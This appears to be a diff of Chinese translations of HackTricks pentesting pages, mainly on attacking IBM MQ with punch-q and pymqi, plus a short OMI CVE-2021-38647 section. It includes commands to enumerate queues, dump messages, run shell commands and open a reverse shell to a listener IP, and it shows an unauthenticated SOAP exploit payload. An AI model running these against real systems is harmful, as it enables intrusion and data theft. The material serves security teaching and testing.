2. 从 [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) 下载 IBM MQ 库。对于 Linux x86_64,它是 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
|
||||
3. 解压缩(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||||
4. 运行`sudo ./mqlicense.sh`接受许可条款。
|
||||
4. 运行 `sudo ./mqlicense.sh` 接受许可条款。
|
||||
|
||||
>如果您使用Kali Linux,请修改文件`mqlicense.sh`:删除/注释以下行(在105-110行之间):
|
||||
>如果您使用的是 Kali Linux,请修改文件 `mqlicense.sh`:删除/注释以下行(在第 105-110 行之间):
|
||||
>
|
||||
>```bash
|
||||
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
|
@ -56,47 +59,47 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
|||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. 然后,临时将`.so`文件添加到LD中:`export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**运行其他使用这些依赖项的工具之前。
|
||||
6. 然后,临时将 `.so` 文件添加到 LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`,**在**使用这些依赖项运行其他工具之前。
|
||||
|
||||
然后,您可以克隆项目[pymqi](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量,... 或者您可以直接安装该库:`pip install pymqi`。
|
||||
然后,您可以克隆项目 [**pymqi**](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量等。或者您可以直接安装库:`pip install pymqi`。
|
||||
|
||||
### 使用punch-q
|
||||
### 使用 punch-q
|
||||
|
||||
#### 使用Docker
|
||||
#### 使用 Docker
|
||||
|
||||
只需运行:`sudo docker run --rm -ti leonjza/punch-q`。
|
||||
只需使用:`sudo docker run --rm -ti leonjza/punch-q`。
|
||||
|
||||
#### 不使用Docker
|
||||
#### 不使用 Docker
|
||||
|
||||
克隆项目[punch-q](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||||
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||||
|
||||
安装完成后,可以使用`punch-q`命令。
|
||||
之后,可以使用 `punch-q` 命令。
|
||||
|
||||
## 枚举
|
||||
|
||||
您可以尝试使用**punch-q**或**pymqi**来枚举**队列管理器名称、用户、通道和队列**。
|
||||
您可以尝试使用 **punch-q** 或 **pymqi** 枚举 **队列管理器名称、用户、通道和队列**。
|
||||
|
||||
### 队列管理器
|
||||
|
||||
有时,获取队列管理器名称时没有任何保护措施:
|
||||
有时,没有保护措施来获取队列管理器名称:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### 通道
|
||||
### Channels
|
||||
|
||||
**punch-q** 使用内部(可修改的)单词列表来查找现有通道。使用示例:
|
||||
**punch-q** 使用一个内部(可修改)词汇表来查找现有的通道。用法示例:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
一些 IBM MQ 实例接受**未经身份验证**的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。
|
||||
一些 IBM MQ 实例接受 **未认证** 的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。
|
||||
|
||||
一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
|
||||
|
||||
基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来进行枚举:
|
||||
枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
|
@ -133,8 +136,8 @@ logging.info('Found channel `%s`' % channel_name)
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
...但**punch-q**也嵌入了该部分(附带更多信息!)。
|
||||
可以使用以下方式启动:
|
||||
... 但是 **punch-q** 也嵌入了那部分(包含更多信息!)。
|
||||
可以通过以下方式启动:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
Showing channels with prefix: "*"...
|
||||
|
@ -155,9 +158,9 @@ Showing channels with prefix: "*"...
|
|||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### 队列
|
||||
### Queues
|
||||
|
||||
有一个使用 **pymqi** 的代码片段 (`dis_queues.py`),但 **punch-q** 允许检索有关队列的更多信息:
|
||||
有一个使用 **pymqi** 的代码片段(`dis_queues.py`),但 **punch-q** 允许检索有关队列的更多信息:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||||
Showing queues with prefix: "*"...
|
||||
|
@ -179,11 +182,11 @@ Showing queues with prefix: "*"...
|
|||
| 9 | | | | | | | |
|
||||
# Truncated
|
||||
```
|
||||
## 漏洞利用
|
||||
## Exploit
|
||||
|
||||
### 转储消息
|
||||
### Dump messages
|
||||
|
||||
您可以针对队列/通道进行定位,以便从中嗅探/转储消息(非破坏性操作)。*示例:*
|
||||
您可以针对队列/通道进行嗅探/转储消息(非破坏性操作)。 *示例:*
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
|
@ -191,26 +194,26 @@ Showing queues with prefix: "*"...
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||||
```
|
||||
**不要犹豫,对所有识别的队列进行迭代。**
|
||||
**不要犹豫,迭代所有识别的队列。**
|
||||
|
||||
### 代码执行
|
||||
|
||||
> 在继续之前,有一些细节:IBM MQ可以通过多种方式进行控制:MQSC、PCF、控制命令。一些常见列表可以在[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)中找到。
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats)(***可编程命令格式***)是我们专注于与实例远程交互的内容。**punch-q**和**pymqi**都基于PCF交互。
|
||||
> 在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***可编程命令格式***) 是我们关注的与实例远程交互的方式。**punch-q** 和进一步的 **pymqi** 基于 PCF 交互。
|
||||
>
|
||||
> 您可以找到PCF命令列表:
|
||||
> * [来自PCF文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats),以及
|
||||
> 你可以找到 PCF 命令的列表:
|
||||
> * [来自 PCF 文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats),以及
|
||||
> * [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
|
||||
>
|
||||
> 一个有趣的命令是`MQCMD_CREATE_SERVICE`,其文档可在[此处](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)找到。它以`StartCommand`作为参数,指向实例上的本地程序(例如:`/bin/sh`)。
|
||||
> 一个有趣的命令是 `MQCMD_CREATE_SERVICE`,其文档可在 [这里](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) 找到。它的参数是指向实例上本地程序的 `StartCommand`(示例:`/bin/sh`)。
|
||||
>
|
||||
> 文档中还对该命令进行了警告:“注意:此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限,恶意或粗心的用户可能定义一个损坏您系统或数据的服务,例如通过删除必要文件。”
|
||||
> 文档中还有该命令的警告:“注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害你的系统或数据,例如,删除重要文件。”
|
||||
>
|
||||
> *注意:始终根据IBM MQ文档(管理参考)的说法,还有一个HTTP端点位于`/admin/action/qmgr/{qmgrName}/mqsc`,用于运行相应的MQSC命令以创建服务(`DEFINE SERVICE`)。这方面目前尚未在此处涵盖。*
|
||||
> *注意:始终根据 IBM MQ 文档(管理参考),在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点,可以运行等效的 MQSC 命令以创建服务(`DEFINE SERVICE`)。这一方面在这里尚未覆盖。*
|
||||
|
||||
使用**punch-q**可以通过PCF进行远程程序执行的服务创建/删除:
|
||||
使用 PCF 进行远程程序执行的服务创建/删除可以通过 **punch-q** 完成:
|
||||
|
||||
**示例1**
|
||||
**示例 1**
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||||
```
|
||||
|
@ -235,18 +238,18 @@ Giving the service 0 second(s) to live...
|
|||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**请注意,程序启动是异步的。因此,您需要第二个项目来利用漏洞** ***(反向shell的监听器,不同服务上的文件创建,通过网络进行数据外泄...)***
|
||||
**请注意,程序启动是异步的。因此,您需要第二个项目来利用该漏洞** ***(反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)***
|
||||
|
||||
**示例2**
|
||||
**示例 2**
|
||||
|
||||
为了简单地获取反向shell,**punch-q** 还提供了两种反向shell有效载荷:
|
||||
为了方便反向 shell,**punch-q** 还提供了两个反向 shell 有效载荷:
|
||||
|
||||
- 一个使用bash
|
||||
- 一个使用perl
|
||||
* 一个使用 bash
|
||||
* 一个使用 perl
|
||||
|
||||
*当然,您也可以使用 `execute` 命令构建自定义的有效载荷。*
|
||||
*当然,您可以使用 `execute` 命令构建自定义的有效载荷。*
|
||||
|
||||
对于bash:
|
||||
对于 bash:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
|
@ -254,11 +257,11 @@ Done
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
### 自定义 PCF
|
||||
### Custom PCF
|
||||
|
||||
您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** Python 库来测试 **punch-q** 中未实现的特定 PCF 命令。
|
||||
您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** python 库来测试 **punch-q** 中未实现的特定 PCF 命令。
|
||||
|
||||
**示例:**
|
||||
**Example:**
|
||||
```python
|
||||
import pymqi
|
||||
|
||||
|
@ -286,9 +289,9 @@ else:
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
如果找不到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
|
||||
如果您无法找到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
|
||||
|
||||
> *例如[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)(十进制 = 73)的示例。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`*`(文档:):*
|
||||
> *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)的示例(十进制 = 73)。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029),可以是`*`(文档:):*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
|
@ -317,27 +320,26 @@ qmgr.disconnect()
|
|||
|
||||
## 测试环境
|
||||
|
||||
如果要测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
|
||||
如果您想测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
|
||||
|
||||
1. 在ibm.com和cloud.ibm.com上拥有账户。
|
||||
2. 使用以下步骤创建一个容器化的IBM MQ:
|
||||
1. 在ibm.com和cloud.ibm.com上拥有一个账户。
|
||||
2. 创建一个容器化的IBM MQ:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。
|
||||
在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||||
|
||||
您应该已经启动并运行IBM MQ,并暴露了其端口:
|
||||
您应该已经启动并运行 IBM MQ,并且其端口已暴露:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||||
```
|
||||
> IBM MQ的旧版本Docker镜像位于: https://hub.docker.com/r/ibmcom/mq/.
|
||||
> IBM MQ Docker 镜像的旧版本在: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [mgeeky的要点 - "实用IBM MQ渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
* [IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq)
|
||||
* [mgeeky's gist - "实用的 IBM MQ 渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
* [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# 5439 - Pentesting Redshift
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
此端口用于运行**Redshift**。基本上是**PostgreSQL**的AWS变体。
|
||||
此端口由 **Redshift** 使用。它基本上是 **PostgreSQL** 的 AWS 变体。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# 5985,5986 - 渗透测试 OMI
|
||||
# 5985,5986 - Pentesting OMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 中看到您的**公司广告**?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **基本信息**
|
||||
|
||||
**OMI** 是微软推出的一款**开源**工具,用于远程配置管理。它对于在 Azure 上使用以下服务的 Linux 服务器尤为重要:
|
||||
**OMI** 被微软作为一个 **[开源](https://github.com/microsoft/omi)** 工具发布,旨在进行远程配置管理。它特别适用于在 Azure 上使用以下服务的 Linux 服务器:
|
||||
|
||||
- **Azure 自动化**
|
||||
- **Azure 自动更新**
|
||||
|
@ -23,15 +26,15 @@
|
|||
- **Azure 配置管理**
|
||||
- **Azure 诊断**
|
||||
|
||||
当这些服务被激活时,进程 `omiengine` 会以 root 身份启动并在所有接口上监听。
|
||||
当这些服务被激活时,进程 `omiengine` 以 root 身份启动并监听所有接口。
|
||||
|
||||
使用的**默认端口**为 **5985**(http)和 **5986**(https)。
|
||||
**默认端口** 使用 **5985** (http) 和 **5986** (https)。
|
||||
|
||||
### **[CVE-2021-38647 漏洞](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
|
||||
2021 年 9 月 16 日观察到,在 Azure 部署的 Linux 服务器中,由于使用了易受攻击的 OMI 版本,存在漏洞。该漏洞存在于 OMI 服务器通过 `/wsman` 端点处理消息时,无需身份验证头部即可授权客户端的情况。
|
||||
如在 9 月 16 日观察到的,部署在 Azure 上的 Linux 服务器由于 OMI 的一个易受攻击版本而易受攻击。此漏洞在于 OMI 服务器通过 `/wsman` 端点处理消息时不需要身份验证头,错误地授权了客户端。
|
||||
|
||||
攻击者可以利用这一点,发送不带身份验证头部的“ExecuteShellCommand” SOAP 负载,迫使服务器以 root 权限执行命令。
|
||||
攻击者可以通过发送不带身份验证头的 "ExecuteShellCommand" SOAP 有效负载来利用此漏洞,迫使服务器以 root 权限执行命令。
|
||||
```xml
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||||
...
|
||||
|
@ -43,19 +46,24 @@
|
|||
</s:Body>
|
||||
</s:Envelope>
|
||||
```
|
||||
有关此CVE的更多信息 **[请查看此处](https://github.com/horizon3ai/CVE-2021-38647)**。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||||
* [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,40 @@
|
|||
# 8333,18333,38333,18444 - 比特币渗透测试
|
||||
# 8333,18333,38333,18444 - Pentesting Bitcoin
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
